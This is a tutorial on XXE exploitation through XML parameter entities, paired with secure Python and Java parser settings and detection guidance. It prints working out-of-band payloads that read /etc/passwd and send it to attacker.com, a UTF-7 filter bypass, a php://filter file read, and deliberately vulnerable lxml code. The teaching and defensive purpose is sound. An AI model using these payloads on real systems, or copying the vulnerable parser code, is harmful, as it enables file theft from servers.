Parameter Entity Exploitation
Deep dive into parameter entities in DTDs and their role in advanced XXE exploitation techniques.
Overview
Parameter entities are a special type of entity that can only be referenced within DTD declarations. They are prefixed with a percent sign (%) and provide powerful capabilities that attackers leverage for advanced XXE exploitation.
Key Differences from General Entities:
- Parameter entities use % prefix instead of &
- Can only be referenced within DTD (not in document content)
- Can be used to construct dynamic DTD declarations
- Essential for blind XXE and advanced exploitation techniques
Why Parameter Entities Matter for XXE:
- Enable external DTD inclusion for blind XXE
- Allow dynamic entity construction at parse time
- Bypass restrictions on general entity expansion
- Enable out-of-band data exfiltration
- Can nest and chain for complex attacks
Parameter Entity Syntax
1<!-- Defining a parameter entity -->
2<!ENTITY % paramEntity "entity content">
3
4<!-- Referencing a parameter entity (in DTD only) -->
5%paramEntity;
6
7<!-- External parameter entity -->
8<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
9%remote;
10
11<!-- Parameter entity with file content -->
12<!ENTITY % file SYSTEM "file:///etc/passwd">
13
14<!-- Using parameter entity to define general entity -->
15<!ENTITY % wrapper "<!ENTITY generalEntity '%file;'>">
16%wrapper;Parameter Entity Restrictions
DTD-Only Scope: Parameter entities can only be referenced within DTD declarations, not in document content:
✅ Valid: <!ENTITY general "%param;"> (inside DTD) ❌ Invalid: <data>%param;</data> (in document content)
External Subset Requirement: Parameter entity replacement text cannot directly include other parameter entities in internal DTD subset. This restriction is bypassed by using external DTD subsets.
Nesting Limitations: Direct nesting like %entity1; inside %entity2; definition requires external DTD. This is why blind XXE typically requires fetching external DTD from attacker server.
Internal vs External DTD Subsets
1<!-- Internal DTD subset (inline in DOCTYPE) -->
2<!DOCTYPE root [
3 <!ENTITY % param "value">
4 <!-- Cannot directly use %param; to define another entity here -->
5]>
6
7<!-- External DTD subset (referenced from DOCTYPE) -->
8<!DOCTYPE root [
9 <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
10 %remote; <!-- Fetches and processes external DTD -->
11]>
12
13<!-- evil.dtd on attacker server -->
14<!ENTITY % file SYSTEM "file:///etc/passwd">
15<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
16%eval;
17<!-- Now %file; can be used within %eval; definition -->Parameter Entity Exploitation Chain
A typical parameter entity XXE attack follows this chain:
Step 1: Declare external parameter entity
<!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd">Step 2: Reference it to fetch external DTD %remote;
Step 3: External DTD reads file
<!ENTITY % file SYSTEM "file:///etc/passwd">Step 4: External DTD creates dynamic entity
<!ENTITY % eval "<!ENTITY % send SYSTEM 'http://attacker.com/?d=%file;'>">Step 5: Evaluate the dynamic entity %eval;
Step 6: Trigger the exfiltration %send;
Result: File content sent to attacker server in HTTP request.
Complete Parameter Entity Attack
1<!-- User-submitted XML payload -->
2<?xml version="1.0" encoding="UTF-8"?>
3<!DOCTYPE root [
4 <!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd">
5 %remote;
6]>
7<root>
8 <data>test</data>
9</root>
10
11<!-- xxe.dtd hosted on attacker.com -->
12<!ENTITY % file SYSTEM "file:///etc/passwd">
13<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/log?data=%file;'>">
14%eval;
15%exfil;
16
17<!-- What happens: -->
18<!-- 1. Parser loads external DTD from attacker.com -->
19<!-- 2. %file; reads /etc/passwd -->
20<!-- 3. %eval; creates %exfil; entity with file content -->
21<!-- 4. %exfil; triggers HTTP request with file content -->
22<!-- 5. Attacker receives /etc/passwd in HTTP server logs -->Entity Reference Encoding
Notice the use of % in parameter entity definitions. This is crucial:
Why % instead of %?
- % is XML numeric character reference for '%'
- Required when defining entities that contain % symbols
- Prevents premature entity expansion during parsing
Example:
<!ENTITY % wrapper "<!ENTITY % inner 'value'>">When %wrapper; is expanded, it becomes:
<!ENTITY % inner 'value'>Without proper encoding:
<!ENTITY % wrapper "<!ENTITY % inner 'value'>"> ❌ Parse errorWith proper encoding:
<!ENTITY % wrapper "<!ENTITY % inner 'value'>"> ✅ CorrectVulnerable Python Code
1import xml.etree.ElementTree as ET
2from lxml import etree
3
4# Vulnerable: lxml with default settings
5def parse_xml_vulnerable(xml_data):
6 parser = etree.XMLParser() # Default allows external entities
7 tree = etree.fromstring(xml_data, parser)
8 return tree
9
10# Also vulnerable: resolving entities explicitly
11def parse_xml_also_vulnerable(xml_data):
12 parser = etree.XMLParser(resolve_entities=True) # Explicitly dangerous
13 tree = etree.fromstring(xml_data, parser)
14 return tree
15
16# Example usage that would be exploited
17xml_input = '''<?xml version="1.0"?>
18<!DOCTYPE root [
19 <!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd">
20 %remote;
21]>
22<root><data>test</data></root>'''
23
24tree = parse_xml_vulnerable(xml_input) # Fetches external DTDSecure Python Code
1from lxml import etree
2from defusedxml.lxml import fromstring as defused_fromstring
3
4# Secure: Disable entity resolution
5def parse_xml_secure(xml_data):
6 parser = etree.XMLParser(
7 resolve_entities=False, # Disable entity expansion
8 no_network=True, # Disable network access
9 dtd_validation=False, # Disable DTD validation
10 load_dtd=False # Don't load DTD
11 )
12 tree = etree.fromstring(xml_data, parser)
13 return tree
14
15# Best practice: Use defusedxml library
16def parse_xml_best_practice(xml_data):
17 # defusedxml automatically applies security settings
18 tree = defused_fromstring(xml_data)
19 return tree
20
21# Example safe usage
22xml_input = '''<?xml version="1.0"?>
23<!DOCTYPE root [
24 <!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd">
25 %remote;
26]>
27<root><data>test</data></root>'''
28
29try:
30 tree = parse_xml_secure(xml_input) # Will reject external entities
31except etree.XMLSyntaxError as e:
32 print(f"Blocked malicious XML: {e}")Advanced Parameter Entity Techniques
1. Chained Parameter Entities Multiple levels of parameter entity references for complex attacks:
- %level1; defines %level2;
- %level2; defines %level3;
- %level3; performs exfiltration
2. UTF-7 Encoding Bypass Use UTF-7 encoding to bypass filters:
<?xml version="1.0" encoding="UTF-7"?>+ADw-!ENTITY % remote SYSTEM "http://evil.com/xxe.dtd"+AD4-
3. Base64 Encoding for Binary Files Use PHP's data:// wrapper for base64 encoding:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">4. Conditional Entity Definitions Define entities conditionally based on environment:
<!ENTITY % win "file:///c:/windows/win.ini"> <!ENTITY % unix "file:///etc/passwd">Secure Java Configuration
1import javax.xml.parsers.DocumentBuilderFactory;
2import javax.xml.parsers.DocumentBuilder;
3import org.w3c.dom.Document;
4
5public class SecureXMLParser {
6 public Document parseXML(String xml) throws Exception {
7 DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
8
9 // Disable DOCTYPE declarations entirely (strongest protection)
10 factory.setFeature(
11 "http://apache.org/xml/features/disallow-doctype-decl",
12 true
13 );
14
15 // If DOCTYPE needed, disable external entities
16 factory.setFeature(
17 "http://xml.org/sax/features/external-general-entities",
18 false
19 );
20 factory.setFeature(
21 "http://xml.org/sax/features/external-parameter-entities",
22 false // Specifically blocks parameter entities
23 );
24 factory.setFeature(
25 "http://apache.org/xml/features/nonvalidating/load-external-dtd",
26 false
27 );
28
29 // Additional security settings
30 factory.setXIncludeAware(false);
31 factory.setExpandEntityReferences(false);
32
33 DocumentBuilder builder = factory.newDocumentBuilder();
34 return builder.parse(new ByteArrayInputStream(xml.getBytes()));
35 }
36}Detecting Parameter Entity Attacks
Code Review Indicators:
- XML parsers without explicit external entity controls
- Resolving entities enabled (resolve_entities=True)
- Missing security features in parser configuration
- DTD processing not explicitly disabled
Runtime Detection:
- Outbound HTTP/DNS requests from XML parser processes
- Connections to unexpected external hosts during XML processing
- DNS queries with unusual subdomains during parsing
- Error messages mentioning external entity loading
Testing Approach:
- Submit XML with external parameter entity reference
- Monitor for outbound connections to test server
- Check if external DTD is fetched
- Attempt file exfiltration via parameter entities
- Test error-based parameter entity techniques
Prevention Best Practices
- Disable External Parameter Entities: Explicitly set external-parameter-entities feature to false
- Disable DOCTYPE: Disallow DOCTYPE declarations entirely if not needed
- Use Secure Parsers: Leverage libraries like defusedxml (Python), configure secure features (Java/.NET)
- Input Validation: Reject XML containing DOCTYPE or <!ENTITY declarations
- Network Controls: Block outbound connections from XML processing servers
- Regular Updates: Keep XML parsing libraries up to date
- Defense in Depth: Combine multiple protective measures
- Static Analysis: Use tools to detect insecure XML parser configurations